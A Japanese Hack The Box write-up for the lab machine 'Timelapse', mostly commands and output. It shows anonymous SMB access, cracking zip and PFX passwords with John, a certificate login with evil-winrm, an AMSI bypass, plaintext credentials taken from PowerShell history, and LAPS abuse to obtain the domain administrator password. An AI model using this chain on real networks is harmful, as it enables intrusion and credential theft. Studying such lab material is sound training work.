🌊
Timelapse_HTB
概要
- PFX キーを含む zip ファイルを含むパブリックにアクセス可能な SMB 共有へのアクセスが含まれます。
- この zip ファイルにはパスワードが必要ですが、John を使用すると解読できます。
- zip ファイルを抽出すると、パスワードで暗号化された PFX ファイルが含まれていることがわかります。
- このファイルは、PFX ファイルを John が読み取り可能なハッシュ形式に変換することで、John でも収集できます。
- PFX ファイルから、WinRM でのログインに使用される SSL 証明書と秘密キーを抽出できます。
- 認証後、svc_deploy ユーザーのログイン資格情報を含む PowerShell 履歴ファイルが見つかります。
- ユーザーの列挙により、 svc_deploy が LAPS_Readers という名前のグループの一部であることがわかります。
- LAPS_Readers グループには LAPS でパスワードを管理する機能があり、このグループのすべてのユーザーがドメイン内のマシンのローカル パスワードを読み取ることができるため、この信頼を悪用して管理者のパスワードを取得し、WinRM セッションを取得します。
環境情報
*Evil-WinRM* PS C:\Users\TRX\Desktop> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.17763.2268
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.17763.2268
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
*Evil-WinRM* PS C:\Users\TRX\Desktop> Get-ComputerInfo | select WindowsProductName, WindowsVersion, OsHardwareAbstractionLayer
WindowsProductName WindowsVersion OsHardwareAbstractionLayer
------------------ -------------- --------------------------
Windows Server 2019 Standard 1809
*Evil-WinRM* PS C:\Users\TRX\Desktop> systeminfo
Host Name: DC01
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA158
Original Install Date: 10/23/2021, 10:27:45 AM
System Boot Time: 11/30/2023, 9:44:40 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume3
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 1,779 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 3,299 MB
Virtual Memory: In Use: 2,204 MB
Page File Location(s): C:\pagefile.sys
Domain: timelapse.htb
Logon Server: N/A
Hotfix(s): 6 Hotfix(s) Installed.
[01]: KB5009472
[02]: KB4512577
[03]: KB4535680
[04]: KB4589208
[05]: KB5011503
[06]: KB5009642
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.11.152
[02]: fe80::3dea:6388:165:cad2
[03]: dead:beef::3dea:6388:165:cad2
[04]: dead:beef::151
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Scan
- command
nmap -p1-10000 -sC -sV -Pn 10.10.11.152
- 結果
┌──(kali㉿kali)-[~/love] └─$ nmap -p1-10000 -sC -sV -Pn 10.10.11.152 Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-30 04:54 EST Nmap scan report for 10.10.11.152 Host is up (0.30s latency). Not shown: 9989 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-30 17:57:10Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | ssl-cert: Subject: commonName=dc01.timelapse.htb | Not valid before: 2021-10-25T14:05:29 |_Not valid after: 2022-10-25T14:25:29 | tls-alpn: |_ http/1.1 |_ssl-date: 2023-11-30T17:59:24+00:00; +7h59m59s from scanner time. |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s | smb2-security-mode: | 311: |_ Message signing enabled and required | smb2-time: | date: 2023-11-30T17:58:00 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 286.14 seconds
- 445が良さそう
- no password でいけるか確認してみる。
smbclient
smbclient -L //10.10.11.152/
smbclient -L //10.10.11.152/Shares
- 結果
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.10.11.152/
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.11.152/Shares
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Oct 25 11:39:15 2021
.. D 0 Mon Oct 25 11:39:15 2021
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
6367231 blocks of size 4096. 1282917 blocks available
smb: \> cd Dev
smb: \Dev\> ls
. D 0 Mon Oct 25 15:40:06 2021
.. D 0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
6367231 blocks of size 4096. 1282374 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
smb: \Dev\> quit
- ノーパスワードで行けた。
-
winrm_backup.zip
わかりやすい名前のファイル確認
password解析
- zip用のjohn
┌──(kali㉿kali)-[~/Timelapse]
└─$ zip2john winrm_backup.zip > zip.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
┌──(kali㉿kali)-[~/Timelapse]
└─$ john zip.john -wordlist:/home/kali/Driver/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:09 DONE (2023-11-30 05:02) 0.1027g/s 356979p/s 356979c/s 356979C/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~/Timelapse]
└─$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
- pfx用のjohn
┌──(kali㉿kali)-[~/Timelapse]
└─$ python3 /usr/share/john/pfx2john.py legacyy_dev_auth.pfx > pfx.john
┌──(kali㉿kali)-[~/Timelapse]
└─$ ls
key.pem legacyy_dev_auth.pfx pfx.john winrm_backup.zip zip.john
┌──(kali㉿kali)-[~/Timelapse]
└─$ john pfx.john -wordlist:/home/kali/Driver/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:07:27 DONE (2023-11-30 05:18) 0.002235g/s 7224p/s 7224c/s 7224C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
侵入
- evil-winrmを使用
┌──(kali㉿kali)-[~/Timelapse]
└─$ evil-winrm -i 10.10.11.152 -c cert.pem -k key.pem -S
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
- Enum
*Evil-WinRM* PS C:\Users\legacyy\Documents> Bypass-4MSI
Info: Patching 4MSI, please be patient...
[+] Success!
*Evil-WinRM* PS C:\Users\legacyy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
*Evil-WinRM* PS C:\Users\legacyy\Documents> net user legacyy
User name legacyy
Full Name Legacyy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/23/2021 11:17:10 AM
Password expires Never
Password changeable 10/24/2021 11:17:10 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/30/2023 10:22:14 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *Development
The command completed successfully.
横展開
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/25/2021 11:12:37 AM
Password expires Never
Password changeable 10/26/2021 11:12:37 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/25/2021 11:25:53 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
The command completed successfully.
権限昇格
- AdmPwd.PSを使用
https://github.com/ztrhgf/LAPS/tree/master/AdmPwd.PS/en-US
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> upload /home/kali/Timelapse/AdmPwd.PS
Info: Uploading /home/kali/Timelapse/AdmPwd.PS to C:\Users\svc_deploy\Documents\AdmPwd.PS
Data: 53980 bytes of 53980 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Import-Module .\AdmPwd.P
S
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Find-AdmPwdExtendedRights -identity *
Name DistinguishedName Status
---- ----------------- ------
Domain Controllers OU=Domain Controllers,DC=timelapse,DC=htb Delegated
Servers OU=Servers,DC=timelapse,DC=htb Delegated
Database OU=Database,OU=Servers,DC=timelapse,DC=htb Delegated
Web OU=Web,OU=Servers,DC=timelapse,DC=htb Delegated
Dev OU=Dev,OU=Servers,DC=timelapse,DC=htb Delegated
Staff OU=Staff,DC=timelapse,DC=htb Delegated
Admins OU=Admins,OU=Staff,DC=timelapse,DC=htb Delegated
Dev OU=Dev,OU=Staff,DC=timelapse,DC=htb Delegated
HelpDesk OU=HelpDesk,OU=Staff,DC=timelapse,DC=htb Delegated
Groups OU=Groups,OU=Staff,DC=timelapse,DC=htb Delegated
More than one object found, search using distinguishedName instead
At line:1 char:1
+ Find-AdmPwdExtendedRights -identity *
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Find-AdmPwdExtendedRights], AmbiguousResultException
+ FullyQualifiedErrorId : AdmPwd.PSTypes.AmbiguousResultException,AdmPwd.PS.FindExtendedRights
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Find-AdmPwdExtendedRights -identity 'Domain Controllers' | select-object ExtendedRightHolders
ExtendedRightHolders
--------------------
{NT AUTHORITY\SYSTEM, TIMELAPSE\Domain Admins, TIMELAPSE\LAPS_Readers}
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> get-admpwdpassword -computername dc01 | Select password
Password
--------
]a/ba4}r6dcVwQ1Bil()sE1d
権限昇格して横展開
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.11.152 -u administrator -p ']a/ba4}r6dcVwQ1Bil()sE1d' -S
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
参考事項
LAPS(Local Administrator Password Solution)
-
Microsoftが提供するセキュリティツールの1つで、Windowsベースのオペレーティングシステムでローカル管理者アカウントのパスワードを効果的に管理するためのソリューションです。
-
LAPSの主な機能と特徴は以下の通りです:
- ローカル管理者アカウントの自動パスワード変更:
- LAPSは、ネットワーク内のすべてのコンピュータで使用されるローカル管理者アカウントのパスワードを自動的に定期的に変更します。これにより、定期的なパスワード変更が自動的に実施され、セキュリティが向上します。
- ランダムで生成された強力なパスワード:
- パスワードはランダムに生成され、セキュアな形式で保存されます。これにより、事前に予測されにくく、攻撃者が推測しにくい強力なパスワードが使用されます。
- Active Directoryとの統合:
- LAPSはActive Directoryに統合されており、変更されたパスワードはActive Directory内で安全に管理されます。これにより、システム管理者はActive Directoryを通じてこれらのパスワードを一元的に管理できます。
- アクセス制御と監査:
- パスワードの閲覧や変更には適切なアクセス制御が施され、監査ログが取られます。これにより、セキュリティ上のリスクを軽減し、不正なアクセスを検知できます。
- 複数のドメインコントローラへの対応:
- 複数のドメインコントローラがある環境でも、LAPSはそれらのすべてのコントローラで機能します。
- LAPSは、共有されたローカル管理者アカウントのセキュリティリスクを低減し、標的型攻撃や内部脅威からくるセキュリティリスクを防ぐために広く採用されています。
AdmPwd.PS(または AdmPwd.E)
LAPS(Local Administrator Password Solution)の一環として使用されるPowerShellモジュールです。LAPSは、Windowsベースのオペレーティングシステムでローカル管理者アカウントのパスワードを管理するためのソリューションであり、AdmPwd.PSはこれをPowerShellから利用するためのツールです。
AdmPwd.PSを使う手順
-
モジュールのインストール:
- AdmPwd.PSモジュールをインストールします。インストールは通常、Active Directory内のコンピュータに対して行います。これは、LAPSがActive Directoryと統合されているためです。
Import-Module .\AdmPwd.PS
- AdmPwd.PSモジュールをインストールします。インストールは通常、Active Directory内のコンピュータに対して行います。これは、LAPSがActive Directoryと統合されているためです。
-
コマンドの使用:
- ローカル管理者アカウントのパスワードを取得するためには、Get-AdmPwdPasswordコマンドレットを使用します。
Get-AdmPwdPassword -ComputerName "ComputerName"
ComputerNameの部分は、対象のコンピュータの名前に置き換えます。
- ローカル管理者アカウントのパスワードを取得するためには、Get-AdmPwdPasswordコマンドレットを使用します。
-
パスワードの変更:
- Reset-AdmPwdPasswordコマンドレットを使用して、ローカル管理者アカウントのパスワードを変更できます。
Reset-AdmPwdPassword -ComputerName "ComputerName"
同様に、ComputerNameの部分は対象のコンピュータの名前に置き換えます。
- Reset-AdmPwdPasswordコマンドレットを使用して、ローカル管理者アカウントのパスワードを変更できます。
-
これらのコマンドは、LAPSを導入している環境でのみ使用できます。また、適切な権限が必要です。LAPSは、Active Directoryのスキーマ拡張を伴うため、導入前に慎重に計画を立て、適切な手順に従う必要があります。
別解答(AdmPwd.PSを使わない方法)
*Evil-WinRM* PS C:\Users\legacyy\Desktop> Get-ADComputer -Identity dc01 -property 'ms-mcs-admpwd'
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
*Evil-WinRM* PS C:\Users\legacyy\Desktop>
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer -Identity dc01 -property 'ms-mcs-admpwd'
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-mcs-admpwd : ]a/ba4}r6dcVwQ1Bil()sE1d
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
SMBファイル一括取得
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
Discussion